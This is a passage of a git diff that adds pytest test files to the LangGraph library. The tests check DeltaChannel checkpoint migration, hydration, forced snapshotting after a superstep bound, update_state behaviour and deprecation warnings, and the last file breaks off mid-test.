+ fresh_cfg = {"configurable": {"thread_id": "fresh"}} + + # Thread A: pre-migration build-up. + binop = _binop_graph(checkpointer) + _drive(binop, migrated_cfg, "m", 2) + + # Thread B: fresh delta-channel run. + delta = _delta_graph(checkpointer) + _drive(delta, fresh_cfg, "f", 2) + + # Thread A: migrate and confirm its state is anchored in its own + # thread's pre-migration history (tag 'm'), never mixing in tag 'f'. + migrated_boundaries = _settled_boundaries( + list(delta.get_state_history(migrated_cfg)) + ) + assert migrated_boundaries, "migrated thread has no settled boundaries" + for _, items in migrated_boundaries: + for it in items: + assert it.startswith("m"), ( + f"migrated thread leaked item from other thread: {it}" + ) + + # Thread B: settled boundaries must only contain 'f' tags. + fresh_boundaries = _settled_boundaries(list(delta.get_state_history(fresh_cfg))) + assert fresh_boundaries, "fresh thread has no settled boundaries" + for _, items in fresh_boundaries: + for it in items: + assert it.startswith("f"), ( + f"fresh thread leaked item from migrated thread: {it}" + ) + + +# --------------------------------------------------------------------------- +# 6. Tip-of-pre-migration hydration: the latest checkpoint from a binop-run +# thread has a real accumulated value in its own `channel_values["items"]`. +# When hydrated under the delta-channel graph via `get_state(config)` with no +# `checkpoint_id`, the short-circuit must use that value directly instead of +# walking ancestors (which would skip the tip's own blob). +# --------------------------------------------------------------------------- + + +def test_tip_of_pre_migration_hydrates_directly() -> None: + """`graph.get_state(config)` at the latest (pre-migration) checkpoint + returns the full accumulated list stored in that checkpoint's own + `channel_values`. The hydration must not walk ancestors past it.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "tip-sync"}} + + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 3) + + binop_tip = binop.get_state(config) + expected_items = list(binop_tip.values.get("items", [])) + assert expected_items == ["u0", "u1", "u2"], ( + f"sanity: pre-migration tip should accumulate all 3 items, got {expected_items}" + ) + + delta = _delta_graph(checkpointer) + + snap = delta.get_state(config) + assert list(snap.values.get("items", [])) == expected_items, ( + f"tip hydration mismatch: expected {expected_items}, " + f"got {snap.values.get('items', [])}" + ) + + +async def test_tip_of_pre_migration_hydrates_directly_async() -> None: + """Async variant of the tip-of-pre-migration hydration scenario.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "tip-async"}} + + binop = _binop_graph(checkpointer) + await _adrive(binop, config, "u", 3) + + binop_tip = await binop.aget_state(config) + expected_items = list(binop_tip.values.get("items", [])) + assert expected_items == ["u0", "u1", "u2"] + + delta = _delta_graph(checkpointer) + + snap = await delta.aget_state(config) + assert list(snap.values.get("items", [])) == expected_items, ( + f"async tip hydration mismatch: expected {expected_items}, " + f"got {snap.values.get('items', [])}" + ) + + +# --------------------------------------------------------------------------- +# 7. `update_state` after migration writes a real value to the new +# checkpoint's `channel_values` (not a sentinel). Hydration must use it +# directly — the ancestor walk would skip this blob and return stale state. +# --------------------------------------------------------------------------- + + +def test_update_state_after_migration_uses_written_value() -> None: + """After migrating and running at least one post-migration super-step + (so the thread's tip has its delta channel absent from `channel_values`, + or stored as a `_DeltaSnapshot` on a snapshot step), `update_state` + writes a concrete value into a new checkpoint's `channel_values`. + `get_state` must reflect that concrete value.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "update-state"}} + + # Pre-migration: accumulate a little state. + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 2) + + # Migrate and run one more super-step so the tip is a post-migration + # checkpoint where the delta channel is absent from `channel_values` + # (no snapshot fired this step). + delta = _delta_graph(checkpointer) + delta.invoke({"items": ["post"]}, config) + + # `update_state` writes a concrete value into a new checkpoint's blob + # via the reducer against the hydrated prior state. + delta.update_state(config, {"items": ["x", "y"]}) + + snap = delta.get_state(config) + updated_items = list(snap.values.get("items", [])) + # Must include the "x","y" update; without the hydration fix, the + # update_state-written blob would be skipped in favor of an ancestor + # walk, and the update values would disappear. + assert "x" in updated_items and "y" in updated_items, ( + f"update_state values missing from snapshot: {updated_items}" + ) + # The "x","y" items should be folded onto the prior accumulated state, + # not stand alone. This verifies the update-written blob is used + # directly by `get_state` (no ancestor walk past it). + assert len(updated_items) >= 4, ( + f"update_state snapshot should preserve pre-update state, got {updated_items}" + ) + assert updated_items[-2:] == ["x", "y"], ( + f"update_state deltas should be at the tail, got {updated_items}" + ) + + +# --------------------------------------------------------------------------- +# 8. Fork from an `update_state` checkpoint: a new run branched off the +# update_state-produced checkpoint must see that checkpoint's concrete +# `channel_values` as its base, with new deltas folded on top. +# --------------------------------------------------------------------------- + + +def test_fork_from_update_state_checkpoint() -> None: + """Branching a new run from the checkpoint produced by `update_state` + must use that checkpoint's concrete blob as the base. Additional + deltas from the forked run fold onto it through the reducer.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "fork"}} + + # Pre-migration build-up, then migrate and add one post-migration step. + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 2) + delta = _delta_graph(checkpointer) + delta.invoke({"items": ["post"]}, config) + + # Apply `update_state` and capture the returned config (references + # the new checkpoint produced by the update). + update_cfg = delta.update_state(config, {"items": ["x", "y"]}) + + update_snap = delta.get_state(update_cfg) + base_items = list(update_snap.values.get("items", [])) + assert "x" in base_items and "y" in base_items, ( + f"update_state values missing from snapshot: {base_items}" + ) + assert base_items[-2:] == ["x", "y"], ( + f"sanity: update_state deltas should be at the tail, got {base_items}" + ) + + # Fork: invoke from the update_state checkpoint with a new delta. + forked = delta.invoke({"items": ["fork0"]}, update_cfg) + forked_items = list(forked.get("items", [])) + # The fork must see the update_state-written blob as its base (not + # walk past it), and the new delta must fold on top of it. + assert forked_items[: len(base_items)] == base_items, ( + f"fork lost update_state base: base={base_items}, forked={forked_items}" + ) + assert forked_items[-1] == "fork0", f"fork delta not appended: {forked_items}" + + +# --------------------------------------------------------------------------- +# 9. Migration from `add_messages` → `DeltaChannel(_messages_delta_reducer)` +# +# `add_messages` is the primary real-world use case: it creates a +# BinaryOperatorAggregate with dedup-by-ID and RemoveMessage semantics. +# After swapping the annotation to DeltaChannel, pre-migration blobs +# (plain lists of Message objects) must be used directly as the seed. +# --------------------------------------------------------------------------- + + +def _add_messages_graph(checkpointer: Any) -> Any: + class MessagesState(TypedDict): + messages: Annotated[list, add_messages] + + return ( + StateGraph(MessagesState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _delta_messages_graph(checkpointer: Any) -> Any: + class DeltaMessagesState(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + return ( + StateGraph(DeltaMessagesState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def test_add_messages_to_delta_migration_preserves_message_history() -> None: + """Migration from `add_messages` to `DeltaChannel(_messages_delta_reducer)` + preserves message ordering and IDs at both the tip and settled ancestor + boundaries. + + The pre-migration blob is a plain list of Message objects; DeltaChannel + must use it directly as the seed without walking ancestors past it. + """ + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "add-messages-migration"}} + + pre_graph = _add_messages_graph(checkpointer) + pre_graph.invoke({"messages": [HumanMessage(content="hello", id="h1")]}, config) + pre_graph.invoke({"messages": [AIMessage(content="hi", id="a1")]}, config) + pre_graph.invoke({"messages": [HumanMessage(content="thanks", id="h2")]}, config) + + pre_tip = pre_graph.get_state(config) + assert [m.id for m in pre_tip.values["messages"]] == ["h1", "a1", "h2"] + + delta_graph = _delta_messages_graph(checkpointer) + + # Tip: latest checkpoint has a full list blob — must use it directly. + snap = delta_graph.get_state(config) + assert [m.id for m in snap.values["messages"]] == ["h1", "a1", "h2"], ( + f"tip hydration mismatch: got {[m.id for m in snap.values['messages']]}" + ) + + # Settled ancestor boundaries must also match. + pre_settled = [ + [m.id for m in s.values.get("messages", [])] + for s in pre_graph.get_state_history(config) + if s.next == ("__start__",) + ] + delta_settled = [ + [m.id for m in s.values.get("messages", [])] + for s in delta_graph.get_state_history(config) + if s.next == ("__start__",) + ] + assert delta_settled == pre_settled, ( + f"settled boundary mismatch after migration: " + f"pre={pre_settled}, delta={delta_settled}" + ) + + +async def test_add_messages_to_delta_migration_preserves_message_history_async() -> ( + None +): + """Async variant of the add_messages migration test.""" + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "add-messages-migration-async"}} + + pre_graph = _add_messages_graph(checkpointer) + await pre_graph.ainvoke( + {"messages": [HumanMessage(content="hello", id="h1")]}, config + ) + await pre_graph.ainvoke({"messages": [AIMessage(content="hi", id="a1")]}, config) + + delta_graph = _delta_messages_graph(checkpointer) + snap = await delta_graph.aget_state(config) + assert [m.id for m in snap.values["messages"]] == ["h1", "a1"], ( + f"async tip hydration mismatch: got {[m.id for m in snap.values['messages']]}" + ) diff --git a/libs/langgraph/tests/test_delta_channel_supersteps_bound.py b/libs/langgraph/tests/test_delta_channel_supersteps_bound.py new file mode 100644 index 0000000..a2c3a27 --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_supersteps_bound.py @@ -0,0 +1,195 @@ +"""Tests for the supersteps-since-last-snapshot bound on DeltaChannel. + +Validates that a delta channel which stops receiving writes is still +force-snapshotted after DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT supersteps, +preventing unbounded ancestor walks. +""" + +from typing import Annotated, Any +from unittest.mock import patch + +import pytest +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from typing_extensions import TypedDict + +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import END, START, StateGraph +from langgraph.pregel._checkpoint import delta_channels_to_snapshot + +pytestmark = pytest.mark.anyio + + +def _simple_reducer(current: list, updates: list) -> list: + """Flatten updates into current list (each update is itself a list).""" + result = list(current) + for u in updates: + if isinstance(u, list): + result.extend(u) + else: + result.append(u) + return result + + +def _build_two_channel_graph( + checkpointer: InMemorySaver, + *, + freq_a: int = 10_000, + freq_b: int = 10_000, + n_loops: int = 1, +) -> Any: + """Graph with two delta channels A and B. + + The node only writes to channel A; B is never written by the node. + `n_loops` controls how many supersteps the graph runs (via chained nodes). + """ + ch_a = DeltaChannel(_simple_reducer, list, snapshot_frequency=freq_a) + ch_b = DeltaChannel(_simple_reducer, list, snapshot_frequency=freq_b) + State = TypedDict( # noqa: UP013 + "State", + {"a": Annotated[list, ch_a], "b": Annotated[list, ch_b]}, + ) # type: ignore[call-overload] + + builder = StateGraph(State) + + for i in range(n_loops): + name = f"step_{i}" + + def node_fn(state: dict, _i: int = i) -> dict: + return {"a": [f"a-val-{_i}"]} + + builder.add_node(name, node_fn) + if i == 0: + builder.add_edge(START, name) + else: + builder.add_edge(f"step_{i - 1}", name) + if i == n_loops - 1: + builder.add_edge(name, END) + + return builder.compile(checkpointer=checkpointer) + + +async def test_forced_snapshot_single_run() -> None: + """A single invoke with enough supersteps triggers snapshot on the + unwritten channel B via the supersteps bound.""" + max_ss = 3 + with patch( + "langgraph.pregel._checkpoint.DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT", + max_ss, + ): + saver = InMemorySaver() + graph = _build_two_channel_graph(saver, n_loops=4) + config = {"configurable": {"thread_id": "single-run-ss"}} + + graph.invoke({"a": ["seed-a"], "b": ["seed-b"]}, config) + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("b"), _DeltaSnapshot), ( + "Channel B should have been force-snapshotted via supersteps bound" + ) + + state = graph.get_state(config) + assert state.values["b"] == ["seed-b"] + assert "seed-a" in state.values["a"] + + +async def test_forced_snapshot_accumulates_across_runs() -> None: + """Supersteps counter for an unwritten channel persists across separate + invoke() calls. After enough runs, the channel is force-snapshotted.""" + max_ss = 5 + with patch( + "langgraph.pregel._checkpoint.DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT", + max_ss, + ): + saver = InMemorySaver() + graph = _build_two_channel_graph(saver, n_loops=1) + config = {"configurable": {"thread_id": "multi-run-ss"}} + + graph.invoke({"a": ["init-a"], "b": ["init-b"]}, config) + + for i in range(1, 6): + graph.invoke({"a": [f"run-{i}"]}, config) + + head = saver.get_tuple(config) + assert head is not None + counters = head.metadata.get("counters_since_delta_snapshot", {}) + b_counters = counters.get("b", (0, 0)) + + if b_counters == (0, 0): + assert isinstance( + head.checkpoint["channel_values"].get("b"), _DeltaSnapshot + ), f"Run {i}: counter reset but no snapshot blob for B" + break + else: + pytest.fail("Channel B was never force-snapshotted after multiple runs") + + state = graph.get_state(config) + assert state.values["b"] == ["init-b"] + assert "init-a" in state.values["a"] + + +async def test_predicate_fires_on_supersteps_overflow() -> None: + """Unit test: delta_channels_to_snapshot fires when supersteps >= MAX + even when updates == 0.""" + ch = DeltaChannel(_simple_reducer, list, snapshot_frequency=10_000) + ch.key = "x" + ch_instance = ch.from_checkpoint(None) + + channels = {"x": ch_instance} + counters: dict[str, tuple[int, int]] = {"x": (0, 5000)} + + result = delta_channels_to_snapshot(channels, counters) + assert "x" in result + + counters_below: dict[str, tuple[int, int]] = {"x": (0, 4999)} + result2 = delta_channels_to_snapshot(channels, counters_below) + assert "x" not in result2 + + +async def test_counter_reset_after_supersteps_snapshot() -> None: + """After the supersteps bound triggers a snapshot, the counters for + that channel reset. Verify by using a bound higher than one run's + supersteps so we can see the counter in an intermediate state.""" + max_ss = 15 + with patch( + "langgraph.pregel._checkpoint.DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT", + max_ss, + ): + saver = InMemorySaver() + graph = _build_two_channel_graph(saver, n_loops=4) + config = {"configurable": {"thread_id": "counter-reset"}} + + graph.invoke({"a": ["seed-a"], "b": ["seed-b"]}, config) + + head = saver.get_tuple(config) + assert head is not None + counters = head.metadata.get("counters_since_delta_snapshot", {}) + b_counters = counters.get("b", (0, 0)) + run1_supersteps = b_counters[1] + assert run1_supersteps > 0, "Should have some supersteps" + assert b_counters[0] == 1, "B written once (input step)" + + graph.invoke({"a": ["more-a"]}, config) + head2 = saver.get_tuple(config) + assert head2 is not None + counters2 = head2.metadata.get("counters_since_delta_snapshot", {}) + b_counters2 = counters2.get("b", (0, 0)) + run2_supersteps = b_counters2[1] + assert run2_supersteps > run1_supersteps, "Supersteps should accumulate" + assert b_counters2[0] == 1, "B written once total (only original input)" + + graph.invoke({"a": ["even-more"]}, config) + head3 = saver.get_tuple(config) + assert head3 is not None + assert isinstance( + head3.checkpoint["channel_values"].get("b"), _DeltaSnapshot + ), "B should have snapshotted at supersteps >= max_ss" + counters3 = head3.metadata.get("counters_since_delta_snapshot", {}) + b_counters3 = counters3.get("b", (0, 0)) + assert b_counters3[1] < max_ss, ( + f"After snapshot, supersteps should have reset, got {b_counters3}" + ) + + state = graph.get_state(config) + assert state.values["b"] == ["seed-b"] diff --git a/libs/langgraph/tests/test_delta_channel_update_state.py b/libs/langgraph/tests/test_delta_channel_update_state.py new file mode 100644 index 0000000..a093049 --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_update_state.py @@ -0,0 +1,340 @@ +"""Tests for `update_state` / `aupdate_state` against `DeltaChannel`. + +Regression suite for deepagents#3774 and Postgres read-path compatibility. + +Fresh-thread ``update_state`` force-snapshots DeltaChannels (1.2.8). Non-fresh +``update_state`` persists ``checkpoint_writes`` on the parent, advances +``counters_since_delta_snapshot`` on the new head, and snapshots when a +channel reaches ``snapshot_frequency`` (mirroring normal run cadence). + +Coverage: + +* fresh-thread regression: single ``update_state`` writes a message and reads back +* non-fresh thread: ``update_state`` after ``invoke``, after another ``update_state``, + and ``bulk_update_state`` with multiple per-superstep updates +* update-by-id end-to-end via ``update_state`` (DeltaChannel reducer semantics) +* fresh-thread head is snapshotted; non-fresh heads carry delta replay counters +""" + +from typing import Annotated, Any + +import pytest +from langchain_core.messages import HumanMessage +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from typing_extensions import TypedDict + +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import START, StateGraph +from langgraph.graph.message import _messages_delta_reducer + +pytestmark = pytest.mark.anyio + + +def _build_graph( + checkpointer: InMemorySaver, + *, + two_nodes: bool = False, + snapshot_frequency: int = 1000, +) -> Any: + """Compile a minimal DeltaChannel-backed `messages` graph. + + `two_nodes=True` adds a second writer node so `bulk_update_state` can route + distinct updates to different `as_node` values within a single superstep. + """ + channel = DeltaChannel( + _messages_delta_reducer, snapshot_frequency=snapshot_frequency + ) + State = TypedDict("State", {"messages": Annotated[list, channel]}) # type: ignore[call-overload] # noqa: UP013 + + def model(state: dict) -> dict: + return {} + + def assistant(state: dict) -> dict: + return {} + + builder = StateGraph(State) + builder.add_node("model", model) + builder.add_edge(START, "model") + if two_nodes: + builder.add_node("assistant", assistant) + builder.add_edge("model", "assistant") + builder.set_finish_point("assistant") + else: + builder.set_finish_point("model") + return builder.compile(checkpointer=checkpointer) + + +# --------------------------------------------------------------------------- +# Fresh-thread regression (deepagents#3774) +# --------------------------------------------------------------------------- + + +def test_update_state_fresh_thread_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "fresh-sync"}} + message = HumanMessage(content="hello", id="m1") + + graph.update_state(config, {"messages": [message]}, as_node="model") + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["hello"] + + +async def test_aupdate_state_fresh_thread_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "fresh-async"}} + message = HumanMessage(content="hello", id="m1") + + await graph.aupdate_state(config, {"messages": [message]}, as_node="model") + + state = await graph.aget_state(config) + assert [m.content for m in state.values["messages"]] == ["hello"] + + +def test_fresh_update_state_head_snapshots_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "fresh-head-snapshot"}} + + graph.update_state( + config, + {"messages": [HumanMessage(content="hello", id="m1")]}, + as_node="model", + ) + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("messages"), _DeltaSnapshot) + assert head.metadata is not None + assert "counters_since_delta_snapshot" not in head.metadata + + +# --------------------------------------------------------------------------- +# Non-fresh thread: update_state after invoke +# --------------------------------------------------------------------------- + + +def test_update_state_after_invoke_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "after-invoke-sync"}} + + graph.invoke({"messages": [HumanMessage(content="seed", id="m1")]}, config) + graph.update_state( + config, + {"messages": [HumanMessage(content="appended", id="m2")]}, + as_node="model", + ) + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["seed", "appended"] + assert [m.id for m in state.values["messages"]] == ["m1", "m2"] + + head = saver.get_tuple(config) + assert head is not None + assert "messages" not in head.checkpoint["channel_values"] + assert head.metadata is not None + assert head.metadata["counters_since_delta_snapshot"]["messages"] == [2, 4] + + +async def test_aupdate_state_after_invoke_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "after-invoke-async"}} + + await graph.ainvoke({"messages": [HumanMessage(content="seed", id="m1")]}, config) + await graph.aupdate_state( + config, + {"messages": [HumanMessage(content="appended", id="m2")]}, + as_node="model", + ) + + state = await graph.aget_state(config) + assert [m.content for m in state.values["messages"]] == ["seed", "appended"] + + +# --------------------------------------------------------------------------- +# Non-fresh thread: consecutive update_state calls +# --------------------------------------------------------------------------- + + +def test_consecutive_update_states_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "consecutive-sync"}} + + graph.update_state( + config, + {"messages": [HumanMessage(content="first", id="m1")]}, + as_node="model", + ) + graph.update_state( + config, + {"messages": [HumanMessage(content="second", id="m2")]}, + as_node="model", + ) + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["first", "second"] + assert [m.id for m in state.values["messages"]] == ["m1", "m2"] + + head = saver.get_tuple(config) + assert head is not None + assert "messages" not in head.checkpoint["channel_values"] + assert head.metadata is not None + assert head.metadata["counters_since_delta_snapshot"]["messages"] == [1, 1] + + +def test_update_state_snapshots_at_frequency() -> None: + """Non-fresh update_state snapshots when counters reach snapshot_frequency.""" + saver = InMemorySaver() + graph = _build_graph(saver, snapshot_frequency=1) + config = {"configurable": {"thread_id": "snapshot-at-freq"}} + + graph.update_state( + config, + {"messages": [HumanMessage(content="first", id="m1")]}, + as_node="model", + ) + graph.update_state( + config, + {"messages": [HumanMessage(content="second", id="m2")]}, + as_node="model", + ) + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["first", "second"] + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("messages"), _DeltaSnapshot) + assert head.metadata is not None + assert "counters_since_delta_snapshot" not in head.metadata + + +async def test_aconsecutive_update_states_delta_channel() -> None: + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "consecutive-async"}} + + await graph.aupdate_state( + config, + {"messages": [HumanMessage(content="first", id="m1")]}, + as_node="model", + ) + await graph.aupdate_state( + config, + {"messages": [HumanMessage(content="second", id="m2")]}, + as_node="model", + ) + + state = await graph.aget_state(config) + assert [m.content for m in state.values["messages"]] == ["first", "second"] + + +# --------------------------------------------------------------------------- +# Update-by-id semantics through the update_state path +# --------------------------------------------------------------------------- + + +def test_update_state_replaces_message_by_id_delta_channel() -> None: + """`_messages_delta_reducer` dedups by `id` — re-issuing a write with the + same id replaces the existing entry rather than appending. Verify this + works through the `update_state` path (not just `invoke`).""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "update-by-id"}} + + graph.invoke({"messages": [HumanMessage(content="original", id="h1")]}, config) + graph.update_state( + config, + {"messages": [HumanMessage(content="updated", id="h1")]}, + as_node="model", + ) + + state = graph.get_state(config) + msgs = state.values["messages"] + assert len(msgs) == 1 + assert msgs[0].id == "h1" + assert msgs[0].content == "updated" + + +# --------------------------------------------------------------------------- +# bulk_update_state with multiple updates per superstep +# --------------------------------------------------------------------------- + + +def test_bulk_update_state_multi_task_per_superstep_delta_channel() -> None: + """`bulk_update_state` with N updates in one superstep produces N tasks + that each call `put_writes`. Guards the regression where moving + `put_writes` outside the per-task loop would persist only the last + task's writes. + + Explicit `task_id`s are required to disambiguate writes belonging to + different `StateUpdate`s targeting the same node — otherwise both share + the deterministic interrupt-derived id and collide in the saver. + """ + from langgraph.types import StateUpdate + + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "bulk-multi-task"}} + + graph.bulk_update_state( + config, + [ + [ + StateUpdate( + values={"messages": [HumanMessage(content="first", id="m1")]}, + as_node="model", + task_id="task-1", + ), + StateUpdate( + values={"messages": [HumanMessage(content="second", id="m2")]}, + as_node="model", + task_id="task-2", + ), + ] + ], + ) + + state = graph.get_state(config) + contents = [m.content for m in state.values["messages"]] + ids = [m.id for m in state.values["messages"]] + assert sorted(contents) == ["first", "second"], ( + f"both updates' writes must persist; got {contents}" + ) + assert sorted(ids) == ["m1", "m2"] + + +# --------------------------------------------------------------------------- +# Public-API observation of fresh-thread checkpoint shape +# --------------------------------------------------------------------------- + + +def test_state_history_chain_after_fresh_update_state_delta_channel() -> None: + """A fresh-thread `update_state` should produce a single self-contained + checkpoint visible via `get_state_history`: step=0, `source='update'`, + no parent, with the DeltaChannel value snapshotted inline.""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "history-chain"}} + + graph.update_state( + config, + {"messages": [HumanMessage(content="hello", id="m1")]}, + as_node="model", + ) + + history = list(graph.get_state_history(config)) + assert len(history) == 1 + + (update_snapshot,) = history + assert update_snapshot.metadata is not None + assert update_snapshot.metadata["source"] == "update" + assert update_snapshot.metadata["step"] == 0 + assert update_snapshot.parent_config is None + assert [m.content for m in update_snapshot.values["messages"]] == ["hello"] diff --git a/libs/langgraph/tests/test_deprecation.py b/libs/langgraph/tests/test_deprecation.py new file mode 100644 index 0000000..54e1e38 --- /dev/null +++ b/libs/langgraph/tests/test_deprecation.py @@ -0,0 +1,379 @@ +from __future__ import annotations + +import warnings +from typing import Any, Optional + +import pytest +from langchain_core.runnables import RunnableConfig +from pytest_mock import MockerFixture +from typing_extensions import NotRequired, TypedDict + +from langgraph.channels.last_value import LastValue +from langgraph.errors import NodeInterrupt +from langgraph.func import entrypoint, task +from langgraph.graph import StateGraph +from langgraph.graph.message import MessageGraph +from langgraph.pregel import NodeBuilder, Pregel +from langgraph.types import GraphOutput, Interrupt, RetryPolicy +from langgraph.warnings import ( + LangGraphDeprecatedSinceV05, + LangGraphDeprecatedSinceV10, + LangGraphDeprecatedSinceV11, +) + + +class PlainState(TypedDict): ... + + +def test_add_node_retry_arg() -> None: + builder = StateGraph(PlainState) + + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`retry` is deprecated and will be removed. Please use `retry_policy` instead.", + ): + builder.add_node("test_node", lambda state: state, retry=RetryPolicy()) # type: ignore[arg-type] + + +def test_task_retry_arg() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`retry` is deprecated and will be removed. Please use `retry_policy` instead.", + ): + + @task(retry=RetryPolicy()) # type: ignore[arg-type] + def my_task(state: PlainState) -> PlainState: + return state + + +def test_entrypoint_retry_arg() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`retry` is deprecated and will be removed. Please use `retry_policy` instead.", + ): + + @entrypoint(retry=RetryPolicy()) # type: ignore[arg-type] + def my_entrypoint(state: PlainState) -> PlainState: + return state + + +def test_state_graph_input_schema() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`input` is deprecated and will be removed. Please use `input_schema` instead.", + ): + StateGraph(PlainState, input=PlainState) # type: ignore[arg-type] + + +def test_state_graph_output_schema() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`output` is deprecated and will be removed. Please use `output_schema` instead.", + ): + StateGraph(PlainState, output=PlainState) # type: ignore[arg-type] + + +def test_add_node_input_schema() -> None: + builder = StateGraph(PlainState) + + with pytest.warns( + LangGraphDeprecatedSinceV05, + match="`input` is deprecated and will be removed. Please use `input_schema` instead.", + ): + builder.add_node("test_node", lambda state: state, input=PlainState) # type: ignore[arg-type] + + +def test_constants_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="Importing Send from langgraph.constants is deprecated. Please use 'from langgraph.types import Send' instead.", + ): + from langgraph.constants import Send # noqa: F401 + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="Importing Interrupt from langgraph.constants is deprecated. Please use 'from langgraph.types import Interrupt' instead.", + ): + from langgraph.constants import Interrupt # noqa: F401 + + +def test_pregel_types_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="Importing from langgraph.pregel.types is deprecated. Please use 'from langgraph.types import ...' instead.", + ): + from langgraph.pregel.types import StateSnapshot # noqa: F401 + + +def test_config_schema_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated and will be removed. Please use `context_schema` instead.", + ): + builder = StateGraph(PlainState, config_schema=PlainState) + assert builder.context_schema == PlainState + + builder.add_node("test_node", lambda state: state) + builder.set_entry_point("test_node") + graph = builder.compile() + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated. Use `get_context_jsonschema` for the relevant schema instead.", + ): + assert graph.config_schema() is not None + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`get_config_jsonschema` is deprecated. Use `get_context_jsonschema` instead.", + ): + graph.get_config_jsonschema() + + +def test_config_schema_deprecation_on_entrypoint() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated and will be removed. Please use `context_schema` instead.", + ): + + @entrypoint(config_schema=PlainState) # type: ignore[arg-type] + def my_entrypoint(state: PlainState) -> PlainState: + return state + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated. Use `get_context_jsonschema` for the relevant schema instead.", + ): + assert my_entrypoint.context_schema == PlainState + assert my_entrypoint.config_schema() is not None + + +@pytest.mark.filterwarnings("ignore:`config_type` is deprecated") +def test_config_type_deprecation_pregel(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_type` is deprecated and will be removed. Please use `context_schema` instead.", + ): + instance = Pregel( + nodes={ + "one": chain, + }, + channels={ + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + config_type=PlainState, + ) + assert instance.context_schema == PlainState + + +def test_interrupt_attributes_deprecation() -> None: + interrupt = Interrupt(value="question", id="abc") + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`interrupt_id` is deprecated. Use `id` instead.", + ): + interrupt.interrupt_id + + +def test_node_interrupt_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="NodeInterrupt is deprecated. Please use `langgraph.types.interrupt` instead.", + ): + NodeInterrupt(value="test") + + +def test_deprecated_import() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="Importing PREVIOUS from langgraph.constants is deprecated. This constant is now private and should not be used directly.", + ): + from langgraph.constants import PREVIOUS # noqa: F401 + + +@pytest.mark.filterwarnings( + "ignore:`durability` has no effect when no checkpointer is present" +) +@pytest.mark.filterwarnings("ignore:Accessing GraphOutput via") +def test_checkpoint_during_deprecation_state_graph() -> None: + class CheckDurability(TypedDict): + durability: NotRequired[str] + + def plain_node(state: CheckDurability, config: RunnableConfig) -> CheckDurability: + return {"durability": config["configurable"]["__pregel_durability"]} + + builder = StateGraph(CheckDurability) + builder.add_node("plain_node", plain_node) + builder.set_entry_point("plain_node") + graph = builder.compile() + + with pytest.warns( + LangGraphDeprecatedSinceV10, + 